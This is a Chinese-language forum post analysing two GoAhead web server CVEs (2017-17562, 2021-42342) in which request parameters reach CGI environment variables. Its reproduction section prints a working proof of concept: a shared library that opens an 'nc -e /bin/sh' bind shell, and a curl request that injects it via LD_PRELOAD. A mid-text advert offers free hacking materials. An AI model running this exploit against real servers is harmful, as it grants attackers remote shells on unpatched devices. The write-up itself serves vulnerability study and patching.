goahead环境变量注入漏洞分析

打印 上一主题 下一主题

主题 893|帖子 893|积分 2679

一、前言

1.1 下载地址

二、CVE-2017-17562

2.1 漏洞分析

cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。
2.2 代码分析

漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:

代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。
[img=720,351.42857142857144]https://www.hetianlab.com/headImg.action?news=b7266edf-5b2d-4ff9-b7c7-effcbc9388cc.png[/img]
  1. PUBLIC char *websGetCgiCommName()
  2. {
  3.     return websTempFile(NULL, "cgi");
  4. }
  5. PUBLIC char *websTempFile(char *dir, char *prefix)
  6. {
  7.     static int count = 0;
  8.     char   sep;
  9.     sep = '/';
  10.     if (!dir || *dir == '\0') {
  11. #if WINCE
  12.         dir = "/Temp";
  13.         sep = '\\';
  14. #elif ME_WIN_LIKE
  15.         dir = getenv("TEMP");
  16.         sep = '\\';
  17. #elif VXWORKS
  18.         dir = ".";
  19. #else
  20.         dir = "/tmp";
  21. #endif
  22.     }
  23.     if (!prefix) {
  24.         prefix = "tmp";
  25.     }
  26.     return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
  27. }
复制代码
进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
[img=720,601.6326530612245]https://www.hetianlab.com/headImg.action?news=6c662534-d4a5-4fcb-a4b8-3e6586c3a9a3.png[/img]
至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
2.3 漏洞复现

下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)
  1. git clone https://github.com/embedthis/goahead.git
  2. cd goahead
  3. make
  4. cd test
  5. gcc ./cgitest.c -o cgi-bin/cgitest
  6. sudo gdb ../build/linux-x64-default/bin/goahead
复制代码
编写恶意动态链接库,代码以及编译命令如下所示:
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. static void main(void) __attribute__((constructor));
  4. static void main(void) {
  5.     system("nc -lp 8888 -e /bin/sh");
  6. }
  7. // gcc --shared -fPIC poc.c -o poc.so
复制代码
构造HTTP请求发送
  1. curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
复制代码
断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。

2.4 补丁分析

首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。
[img=720,435.9375]https://www.hetianlab.com/headImg.action?news=626c602d-1cbe-4e15-ae51-9b9ffe760585.png[/img]
其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。
[img=720,640.2985074626865]https://www.hetianlab.com/headImg.action?news=b1d77aa2-9893-489c-abd2-e4995e410e2b.png[/img]
三、cve-2021-42342

3.1 漏洞分析

cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:
[img=720,409.00181488203265]https://www.hetianlab.com/headImg.action?news=24d465e9-594d-4f48-a5bf-984cf8d73dcb.png[/img]
进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。
[img=720,464.29906542056074]https://www.hetianlab.com/headImg.action?news=b78c1e1c-f26b-41a7-99f2-0613aaf48ebf.png[/img]
上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。
[img=720,225.8142340168878]https://www.hetianlab.com/headImg.action?news=1c42740d-9506-4415-9362-f1aa4e7331f7.png[/img]
后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。
3.2 代码分析

为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。​ 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty师傅的文章。
[img=720,440.9152086137281]https://www.hetianlab.com/headImg.action?news=5ffcf4a5-4a46-450c-9e5f-f35e6d9ca6ae.png[/img]
websOpen函数会根据配置启动相应的代码模块
[img=720,385.8148631029987]https://www.hetianlab.com/headImg.action?news=bc8bc26a-31aa-411b-bd95-d6e6927db7e1.png[/img]
其中关于cgi请求的回调函数通过websDefineHandler函数定义。
[img=720,116.41304347826087]https://www.hetianlab.com/headImg.action?news=b96b0e97-d429-4207-9108-5d3ca2b2b753.png[/img]
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。
[img=720,392.9736511919699]https://www.hetianlab.com/headImg.action?news=ee6ea3ab-25e0-43cc-af15-b33f52e6d9c5.png[/img]
在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
[img=720,423.2967032967033]https://www.hetianlab.com/headImg.action?news=9b1b3253-7b96-4387-935e-4e0da0ec5080.png[/img]​
其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。
[img=720,322.5974025974026]https://www.hetianlab.com/headImg.action?news=0aa4079f-54e3-4aab-9236-3cd9f0e62fb4.png[/img]
此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
[img=720,508.85630498533726]https://www.hetianlab.com/headImg.action?news=9135a89b-72e8-4c2f-88d7-909ea6cb66dc.png[/img]
调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
[img=720,495.863539445629]https://www.hetianlab.com/headImg.action?news=5ce45933-9a5e-44fe-b828-2aa001fb204d.png[/img]
3.2.1 WEBS_BEGIN

WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。​ parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中
[img=720,596.8241965973535]https://www.hetianlab.com/headImg.action?news=d4d8ef6a-8cf2-4c94-b5dd-d8b02f960860.png[/img]
 parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。
[img=720,222.42562929061785]https://www.hetianlab.com/headImg.action?news=382ef006-a77b-4ba7-a113-bfd202cb1257.png[/img]
函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。
[img=720,502.98591549295776]https://www.hetianlab.com/headImg.action?news=439ef673-92cf-4cd8-8ba6-4713d36e0590.png[/img]
调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。
[img=720,164.12757973733582]https://www.hetianlab.com/headImg.action?news=fa767752-033b-4199-b4b1-2d6392f1b0f1.png[/img]
3.2.2 WEBS_CONTENT

返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。
[img=720,550.531914893617]https://www.hetianlab.com/headImg.action?news=0b5422c7-5ca5-405f-94b9-0f0cd6f04264.png[/img]
进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。​ initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。​ processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。​ processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。​ processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。
[img=720,530.5263157894736]https://www.hetianlab.com/headImg.action?news=9723e6bc-d928-415b-bcbf-73f014f76d29.png[/img]
当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。​ 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中
[img=720,220.63463281958295]https://www.hetianlab.com/headImg.action?news=4ce5c83c-bbc4-4539-bb9c-9313442f4bd2.png[/img]
3.2.3 WEBS_READY

程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。
[img=720,431.5211970074813]https://www.hetianlab.com/headImg.action?news=fb5dfb45-4de6-45ec-a841-877cf78939e4.png[/img]
在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
[img=720,443.0769230769231]https://www.hetianlab.com/headImg.action?news=49f3d179-5e1c-45cd-99fb-398dd5f5716a.png[/img]
更多靶场实验练习、网安学习资料,请点击这里>>
 
搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万有斥力

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表